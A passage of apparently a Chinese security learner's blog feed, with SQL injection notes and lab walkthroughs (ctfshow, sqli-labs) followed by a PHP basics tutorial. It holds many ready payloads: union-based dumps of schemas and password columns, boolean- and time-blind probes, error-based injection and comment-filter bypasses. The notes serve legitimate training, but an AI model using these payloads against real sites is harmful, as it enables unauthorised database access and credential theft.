union select 1,2,group_concat(schema_name) from information_schema.schemata--+</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203191154237.png" alt="ctfshow"></p><p>发现ctfshow的数据库</p><p>查询ctfshow数据库下的表名</p><p><code>?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203191204811.png" alt="flag表" style="zoom:67%;" /><p>查询flag表下的列名</p><p><code>?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+</code></p><p>得到id和flag列</p><p>查询flag列下的数据</p><p><code>?id=-1' union select 1,2,group_concat(flag) from ctfshow.flag--+</code></p><h3 id="2、web518"><a href="#2、web518" class="headerlink" title="2、web518"></a>2、web518</h3><p>数字型-联合注入</p><p>(1)字段判断</p><p><code>?id=1 order by 3</code>到4不能正常回显,有3个字段</p><p>(2)回显判断</p><p><code>?id=-1 union select 1,2,3</code>2,3字段可回显</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203191214638.png" alt="2,3" style="zoom:50%;" /><p>(3)联合注入</p><p>信息收集:</p><p><code>?id=-1 union select 1,user(),database()</code></p><p>查询所有数据库:</p><p><code>?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata</code></p><p>数据库ctfshow下表的查询:</p><p><code>?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'</code></p><p>数据库下表flagaa的列的查询:</p><p><code>?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaa'</code></p><p>列flagac下数据的查询</p><p><code>?id=-1 union select 1,2,group_concat(flagac) from ctfshow.flagaa</code> </p>]]></content>
<categories>
<category> CTF-show </category>
</categories>
<tags>
<tag> 信息收集 </tag>
</tags>
</entry>
<entry>
<title>web-SQL注入(5)</title>
<link href="/2022/03/17/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%885%EF%BC%89/"/>
<url>/2022/03/17/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%885%EF%BC%89/</url>
<content type="html"><![CDATA[<p>From:</p><p><a href="https://blog.csdn.net/qq_42477007/article/details/96492174">https://blog.csdn.net/qq_42477007/article/details/96492174</a></p><p><a href="https://www.jianshu.com/p/65f05e7cc957">https://www.jianshu.com/p/65f05e7cc957</a></p><p><a href="https://blog.csdn.net/weixin_49150931/article/details/111829828">https://blog.csdn.net/weixin_49150931/article/details/111829828</a></p><p><a href="https://www.freebuf.com/articles/web/281559.html">https://www.freebuf.com/articles/web/281559.html</a></p><h3 id="1、常用函数"><a href="#1、常用函数" class="headerlink" title="1、常用函数"></a>1、常用函数</h3><p>(1)系统函数</p><pre><code>version() 版本user() 数据库用户名database() 数据库名@@datadir 数据库路径@@version_compile_os 操作系统版本</code></pre><p>(2)字符串连接</p><pre><code>concat(str1,str2...) 无分隔符地连接字符串concat_ws(分隔符,srt1,str2...) 含有分隔符地连接字符串group_concat(str1...) 连接一个组的所有字符串,并以逗号分隔</code></pre><h3 id="2、逻辑运算"><a href="#2、逻辑运算" class="headerlink" title="2、逻辑运算"></a>2、逻辑运算</h3><p>(1)</p><p><code>Select * from admin where username=’admin’ and password=’admin’</code></p><p>可以用<code>' or 1=1#</code>作为密码输入</p><p><code>Select * from admin where username=’admin’ and password=’’or 1=1#’</code></p><img src="C:\Users\HUAWEI\AppData\Roaming\Typora\typora-user-images\image-20220320175314868.png" alt="逻辑运算" style="zoom:67%;" /><p>(2)</p><p><code>Select * from users where id=1 and 1=1;</code><br><code>Select * from users where id=1 && 1=1;</code><br><code>Select * from users where id=1 & 1=1;</code></p><p>第一句和第二句是同一个意思,<code>&&</code>具有短路的功能,即如果第一个表达式为false,则不再计算第二个表达式</p><p>第三句<code>&</code>可以是逻辑运算也可以是位运算</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203201757368.png" alt="与运算" style="zoom:50%;" /><h3 id="3、SQL盲注"><a href="#3、SQL盲注" class="headerlink" title="3、SQL盲注"></a>3、SQL盲注</h3><p>在SQL注入的过程中,选择的数据不能回显到前端页面</p><p>(1)基于布尔SQL盲注</p><p>true or false</p><p>截取字符串函数</p><pre><code>mid(str,statr,length) 起始值1,长度可省略,返回剩余文本mid((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'</code></pre><pre><code>substr(str,start,length)substring(str,start,length)</code></pre><pre><code>left(str,length) 字符串从左指定length个字符left(database(),2)>'ab'</code></pre><pre><code>ord() 返回一个字符串的ASCLL码ascii(substr((select database()),1,1))=98</code></pre><p>基本流程:</p><pre><code>1.判断注入点and -1=-1 页面返回有数据and -1=-2 页面无结果返回2. 判断当前页面字段总数and -1=-1 order by 2 页面返回有数据and -1=-2 order by 3 页面无结果返回当前页面字段数为:2。3.判断显示位 and -1=-2 union select 1,2 页面无结果返回无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。4.猜解当前数据库名称长度and (length(database()))>11页面返回有数据and (length(database()))>12页面无结果返回当前数据库名称长度为:12。5.用ASCII码猜解当前数据库名称and ascii(substr(database(),1,1))=107 页面返回有数据and ascii(substr(database(),2,1))=97 页面返回有数据当前数据库 第一个字母是k,第二个字母是a...以此类推得到数据库库名是kanwolonxia。注:判断ascii码范围不止是 ”=",还应该恰当使用 “>”,“<” 等符号。6.猜表名and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少。7.猜字段名 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度and ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值8.猜内容 and length((select user from users limit 0,1)) >1 //判断字符串内容长度1’and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值</code></pre><p>(2)基于时间的SQL盲注</p><p>页面响应时间</p><p>常用函数</p><pre><code>Sleep(time) :延迟函数If(condition,true,false) :条件语句mid(str,start,length) :字符串截取ORD() :转换成ascii码Length() :统计长度</code></pre><p>注入思路:</p><pre><code>1.判断注入点"and -1=-1-- w 页面返回有数据"and -1=-2-- w 页面返回有数据页面的返回没有变化,可能是盲注;然后用sleep()判断是否是时间盲注"and sleep(5)-- w 页面延时了该盲注是时间盲注。数据库名id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+数据库的表名id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+或者利用if函数id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+数据库表的字段名id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+每个字段对应的数据项内容id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+</code></pre><p><strong>数据库总数</strong></p><pre><code>' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)=7,0,5)) 如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒</code></pre><p><strong>数据库长度</strong></p><p><code>' and sleep(if((length(database()) = 8),0,5))--+ 当前数据库名长度为8</code></p><p><strong>数据库名</strong></p><p><code>' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ ascii码115 就是s</code></p><p>(3)基于报错的SQL盲注</p><p><strong>常用函数</strong></p><pre><code>只要是count(),rand() ,group by 三个函数连用就会造成这种报错left(rand(),3) :不一定报错floor(rand(0)*2) :一定报错round(x,d) :x指要处理的数,d是指保留几位小数concat() :字符串拼接</code></pre><p><strong>数据库爆破</strong></p><pre><code>' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx)' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx</code></pre><p><strong>爆表名</strong></p><pre><code>' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+</code></pre><p><strong>爆字段</strong></p><pre><code>' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+</code></pre><p><strong>猜解内容</strong></p><pre><code>' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23 //逐个猜解内容' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+</code></pre><h3 id="4、limit用法"><a href="#4、limit用法" class="headerlink" title="4、limit用法"></a>4、limit用法</h3><p>From:<a href="http://www.blogjava.net/yemen/articles/229521.html">http://www.blogjava.net/yemen/articles/229521.html</a></p><p>(1)LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。</p><p>LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。</p><p>(2)初始记录行的偏移量是 0</p><p>(3)实例:</p><pre><code>mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1: mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.//如果只给定一个参数,它表示返回最大的记录行数目: mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行//换句话说,LIMIT n 等价于 LIMIT 0,n</code></pre>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>web-SQL注入(4)</title>
<link href="/2022/03/17/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%884%EF%BC%89/"/>
<url>/2022/03/17/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%884%EF%BC%89/</url>
<content type="html"><![CDATA[<img src="https://gitee.com/mie1732/emc/raw/master/img/202203171515996.png" alt="框架" style="zoom:80%;" /><h3 id="1、Json注入"><a href="#1、Json注入" class="headerlink" title="1、Json注入"></a>1、Json注入</h3><p><code>"a":"1"</code>此处的双引号是Json语言本身的格式要求,如果原语句有单引号闭合则</p><p><code>"a":"1' and 1=1#"</code></p><img src="C:\Users\HUAWEI\AppData\Roaming\Typora\typora-user-images\image-20220317201053762.png" alt="Json" style="zoom: 80%;" /><h3 id="2、数据库类型"><a href="#2、数据库类型" class="headerlink" title="2、数据库类型"></a>2、数据库类型</h3><p>(1)Access</p><p>市场占比少</p><p>Access数据库类型为:表名->列名->数据(自己的网站就是唯一的数据库)</p><p>Mysql、mssql等数据库:数据库名->表名->列名->数据(可跨库注入)</p><p>无文件读写、无information_schema数据库,因为没有数据库名。</p><p>对于Access数据库手工注入一般是暴力猜解,如果有此表一般就会报出数据</p><p>(2)SqlServer</p><p>权限的高低将决定你注入的功能</p><p>(3)PostgreSQL</p><p>(4)Oracle</p><p>高权限:读取文件,命令执行,读取数据(无文件写入)</p><p>(5)MongoDB(非关系库数据)</p><p>查询方式与与其他数据库略微不同,以键值对形式进行查询</p><p><code>$query ="var data = db.notice.findOne({'id':'$id'}); return data;";</code></p><p>(6)常用工具</p><p>sqlmap、NoSQLAttack(支持MongoDB)</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>sqli-labs(1)</title>
<link href="/2022/03/14/sqli-labs-1/"/>
<url>/2022/03/14/sqli-labs-1/</url>
<content type="html"><![CDATA[<h3 id="1、Less-1"><a href="#1、Less-1" class="headerlink" title="1、Less-1"></a>1、Less-1</h3><p>From:<a href="https://blog.csdn.net/weixin_45728976/article/details/103932264">https://blog.csdn.net/weixin_45728976/article/details/103932264</a></p><p>基于GET的单引号的字符型</p><p>(1)注入字符的判断</p><p><code>?id=1</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142157884.png" alt="单引号"></p><p>于是尝试用<code>'</code>进行注入</p><p><code>?id=1' and 1=1 --+</code>将单引号闭合实现and 1=1逻辑判断,<code>--+</code>注释后面的单引号</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142200347.png" alt="正常返回"></p><p>(2)确定注入字符后,对字段进行判断<code>order by</code></p><p><code>?id=1' order by 4--+</code>发现字段为4时开始报错,可得一共有三个字段</p><p>(3)判断数据的注入点</p><p><code>?id=-1' union select 1,2,3--+</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142205896.png" alt="2和3注入点"></p><p>(4)数据库名信息收集</p><p><code>?id=-1' union select 1,database(),user()--+</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142207815.png" alt="数据库名和用户"></p><p>(5)查找security数据库下表的信息</p><p><code>?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142211815.png" alt="此数据库下的表"></p><p>(6)查找users表下列的信息</p><p><code>?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142214352.png" alt="表下的列信息"></p><p>(7)查询password列下的信息</p><p><code>?id=-1' union select 1,2,group_concat(password) from users --+</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142227554.png" alt="列下的信息"></p><h3 id="2、Less2"><a href="#2、Less2" class="headerlink" title="2、Less2"></a>2、Less2</h3><p>基于GET的整型</p><p>(1)注入字符判断</p><p><code>?id=1 and 1=1</code>在返回的语句中可以发现是整型</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150819837.png" alt="整型"></p><p>(2)字段判断<code>order by</code></p><p><code>?id=1 order by 4</code>可知一共有三个字段</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150822126.png" alt="字段判断"></p><p>(3)注入点判断</p><p><code>?id=-1 union select 1,2,3</code>这里注入点的判断需要报错,可知2,3为注入点</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150823795.png" alt="2和3"></p><p>(4)数据库信息查询</p><p><code>?id=-1 union select 1,database(),user()</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150825771.png" alt="数据库名,用户"></p><p>(5)在security数据库下的表信息查询</p><p><code>?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150828657.png" alt="该数据库下的表"></p><p>(6)查询users表下的列信息</p><p><code>?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150829894.png" alt="users表下的列信息"></p><p>(7)查询users表下password列下的password、username</p><p><code>?id=-1 union select 1,group_concat(username),group_concat(password) from users</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150832991.png" alt="列下信息"></p><h3 id="3、Less3"><a href="#3、Less3" class="headerlink" title="3、Less3"></a>3、Less3</h3><p>基于GET的<code>')</code>的字符型</p><p><code>?id=1 and 1=1</code>可以发现是单引号和括号的组合字符</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150836927.png" alt="单引号变形"></p><p>于是用<code>?id=1') and 1=1%23</code>进行绕过,这里是GET型参数因此无法用<code>#</code>号,因此可以用<code>#</code>的URL编码<code>%23</code>进行注释</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150841620.png" alt="%23"></p><p>接下来再用基本方法查询即可</p><h3 id="4、Less4"><a href="#4、Less4" class="headerlink" title="4、Less4"></a>4、Less4</h3><p>基于GET的双引号和括号字符型</p><p><code>?id=1 and 1=1</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150852038.png" alt="双引号括号"></p><p><code>?id=1'') and 1=1--+</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203150853230.png" alt="绕过" style="zoom:67%;" /><h3 id="5、Less5"><a href="#5、Less5" class="headerlink" title="5、Less5"></a>5、Less5</h3><p>基于GET的单引号错误回显注入</p>]]></content>
<categories>
<category> sqli-labs </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>web-SQL注入(3)</title>
<link href="/2022/03/14/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%883%EF%BC%89/"/>
<url>/2022/03/14/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%883%EF%BC%89/</url>
<content type="html"><![CDATA[<h3 id="1、参数类型"><a href="#1、参数类型" class="headerlink" title="1、参数类型"></a>1、参数类型</h3><p>(1)数字型</p><p>数字型一般是没有符号,也就是一般是不需要闭合的。数字型也是可以加符号的。</p><p><code>select * from user where id=1</code></p><p>(2)字符型</p><p>字符型是会有引号,所以在注入的时候需要闭合引号,以及注释多于的符号</p><p>干扰符号:单引号,双引号,百分号,括号(小括号,花括号)</p><p>百分号:SQL语句中的搜索符号(类似于Windows的星号)</p><p><code>?x=xxxx</code></p><p><code>select * from user where name like '%xxxx%'</code>在搜索的时候前后有此关键字的都可以被搜索到</p><p><code>select * from user where name = 'xxxx'</code></p><p><code>$name = $_GET['X']</code></p><p><code>$sql="select * from user where name='$name'";</code></p><p><code>?x=xxx and 1=1</code></p><p><code>select * from user where name='xxxx and 1=1'</code>此情况下and 1=1的判断效果就没了</p><p><code>?x=xxx' and 1=1--+</code>注释掉了后面的单引号</p><p><code>select * from user where name='xxxx' and 1=1</code></p><p>(3)JSON类型</p><p><code>json={"username":"Dumb' and 1=2 union select 1,database(),3#"}</code></p><p>键值对:<code>{'user':'xxxx'}</code></p><h3 id="2、请求方法"><a href="#2、请求方法" class="headerlink" title="2、请求方法"></a>2、请求方法</h3><p>From:<a href="https://www.jianshu.com/p/a5cdfd2bda66">https://www.jianshu.com/p/a5cdfd2bda66</a></p><p>可以在<code>Request Headers</code>处查看</p><p>(1)GET请求</p><p>GET请求也可传参到后台,但是其参数在浏览器的地址栏的url中可见,且参数长度也是有限制的。</p><p>GET 请求可被缓存</p><p>GET请求只能进行url编码</p><p>GET请求比较常见的方式是通过url地址栏请求</p><p>GET前面无论是什么请求,只要它存在于URL中即可显示</p><p>(2)POST请求</p><p>POST请求传递参数放在Request body中,不会在url中显示,比GET要安全,且参数长度无限制</p><p>POST支持多种编码方式(二进制数据使用多重编码。)</p><p>POST 请求不会被缓存</p><p>POST最常见是通过form表单发送数据请求</p><p>(3)COOKIE</p><p>Cookies是数据包里的参数,存放一些用户信息以便于让Web服务器辨别用户的身份。</p><p>可接收GET、POST等请求</p><p><code>$c = COOKIE['x']</code></p><p><code>echo $c</code></p><p>(4)REQUEST请求</p><p>GET、POST、COOKIE等都可接收</p><p>(5)HTTP头</p><p><code>$_SERVER</code>:获取系统的值,当前用户IP地址,浏览器语言等</p><p><code>$s=$_SERVER['HTTP_USER_AGENT'];</code></p><p><code>echo $s;</code></p><h3 id="3、注释符号"><a href="#3、注释符号" class="headerlink" title="3、注释符号"></a>3、注释符号</h3><p>From:<a href="https://www.cnblogs.com/impulse-/p/13184023.html#gangkong">https://www.cnblogs.com/impulse-/p/13184023.html#gangkong</a></p><p>将后面不需要的语句注释掉,以保证SQL命令的完整性</p><p>(1)<code>--</code>后面有空格(<code>--+</code>)</p><p>(2)<code>#</code></p><p>URL中#号作为锚点,不当做数据来传输</p><p>命令传到后端,少了一个单引号用来闭合命令(可以利用这种特性,在URL中命令结尾添加一个单引号来代替注释符)</p><p>解决:直接在URL中使用#号有问题,可以把#号转换成URL编码(%23)</p><p>传输过程对单引号还有空格进行了URL编码,在前端注释符使用URL编码,传输过程中把URL编码带上,到后端就会进行一次URL解码操作,#号注释符起作用。</p><p>前端:<code>?id=-1' union select 1,2,database()%23</code></p><p>后端:</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142142416.png" alt="MySQL命令行"></p><p>(3)<code>/**/</code></p><p>注释符<code># --</code> 都是把后面的语句全部注释掉了,而内联注释<code>/**/</code>则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释语句用,而是用于过滤空格等bypass</p><p>例如:<code>?id=-1'/**/union/**/select/**/1,2,database()--+ //过滤空格,用/**/代替空格</code></p><p>(4)payload结尾单引号闭合</p><p><code>?id=-1' union select 1,2,database()'</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142146913.png" alt="GET传参"></p><p>总结:</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203142146203.png" alt="总结"></p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>php基础</title>
<link href="/2022/03/12/php%E5%9F%BA%E7%A1%80/"/>
<url>/2022/03/12/php%E5%9F%BA%E7%A1%80/</url>
<content type="html"><![CDATA[<h3 id="PHP语法"><a href="#PHP语法" class="headerlink" title="PHP语法"></a>PHP语法</h3><p>1、以<code><?php 开始,以?></code>结束</p><p>2、通常包含HTML标签和PHP脚本代码</p><p>3、每行代码以分号结束</p><p>4、输出文本指令:<code>echo print</code></p><p>5、注释:</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span> <span class="token comment" spellcheck="true">//单行注释</span> <span class="token comment" spellcheck="true">/* 此为 多行注释 */</span><span class="token delimiter">?></span></code></pre><h3 id="PHP变量"><a href="#PHP变量" class="headerlink" title="PHP变量"></a>PHP变量</h3><p>1、变量:存储数据的容器</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">;</span><span class="token variable">$y</span><span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">;</span><span class="token variable">$z</span><span class="token operator">=</span><span class="token variable">$x</span><span class="token operator">+</span><span class="token variable">$y</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$z</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>2、变量规则:</p><p>(1)变量以$开始,随后为变量名</p><p>(2)变量名必须以字母或下划线开始</p><p>(3)变量名只能包含字母、数字以及下划线</p><p><strong>(4)变量名以及PHP语句均区分大小写</strong></p><p>(5)弱类型语言:创建变量时无需声明变量数据类型</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$txt</span><span class="token operator">=</span><span class="token string">"Hello world!"</span><span class="token punctuation">;</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">;</span><span class="token variable">$y</span><span class="token operator">=</span><span class="token number">10.5</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>3、变量作用域</p><p>(1)local:局部变量</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//全局变量</span><span class="token keyword">function</span> <span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token variable">$y</span><span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//局部变量</span> <span class="token keyword">echo</span> <span class="token string">"<p>测试函数内变量</p>"</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token string">"变量x为: $x"</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token string">"变量y为: $y"</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"<p>测试函数外部变量</p>"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"变量x为: $x"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"变量y为: $y"</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><img src="https://gitee.com/mie1732/emc/raw/master/img/202203121404421.png" alt="全局与局部" style="zoom: 67%;" /><p>注:</p><p>(a) 可在不同函数中使用相同的变量名称,因为这些函数内定义的变量名是局部变量,只作用于该函数内。</p><p>(b)在以上实例中 myTest() 函数定义了 $x 和 $y 变量。 $x 变量在函数外声明,所以它是全局变量 , $y 变量在函数内声明所以它是局部变量。</p><p>(c)调用myTest()函数并输出两个变量的值, 函数将会输出局部变量 $y 的值,但是不能输出 $x 的值,因为 $x 变量在函数外定义,无法在函数内使用,如果要在一个函数中访问一个全局变量,需要使用 global 关键字。</p><p>(2)global:函数内访问全局变量</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//全局变量</span><span class="token variable">$y</span><span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">global</span> <span class="token variable">$x</span><span class="token punctuation">,</span><span class="token variable">$y</span><span class="token punctuation">;</span> <span class="token variable">$y</span><span class="token operator">=</span><span class="token variable">$x</span><span class="token operator">+</span><span class="token variable">$y</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$y</span><span class="token punctuation">;</span><span class="token delimiter">?></span> <span class="token comment" spellcheck="true">//结果y=15</span></code></pre><p>PHP 将所有全局变量存储在一个名为 <code>$GLOBALS[index]</code> 的数组中。 <em>index</em> 保存变量的名称。</p><p>这个数组可以在函数内部访问,也可以直接用来更新全局变量。</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//全局变量</span><span class="token variable">$y</span><span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string">'y'</span><span class="token punctuation">]</span><span class="token operator">=</span><span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string">'x'</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string">'y'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$y</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>(3)static:静态</p><p>当一个函数完成时,它的所有变量通常都会被删除。</p><p>若希望某个局部变量不要被删除。可在第一次声明变量时使用 <strong>static</strong> 关键字</p><p>参数x依旧为函数的局部变量,每次调用函数时, 该变量将会保留前一次被调用的值。</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token keyword">function</span> <span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">static</span> <span class="token variable">$x</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token variable">$x</span><span class="token punctuation">;</span> <span class="token variable">$x</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token constant">PHP_EOL</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//换行符</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span> <span class="token comment" spellcheck="true">//结果:0 1 2</span></code></pre><p>(4)parameter:参数作用域</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token keyword">function</span> <span class="token function">myTest</span><span class="token punctuation">(</span><span class="token variable">$x</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">echo</span> <span class="token variable">$x</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token function">myTest</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><h3 id="PHP输出"><a href="#PHP输出" class="headerlink" title="PHP输出"></a>PHP输出</h3><p>1、echo与print区别</p><p>(1)echo:可以输出一个或多个字符串</p><p>(2)print:只允许输出一个字符串,返回值为1</p><p>2、echo</p><p>(1)语言结构,使用的时候可以不加括号</p><p>(2)字符串:可包含HTML标签</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token keyword">echo</span> <span class="token string">"<h2>php有趣!</h2>"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"Hello world!<br>"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token 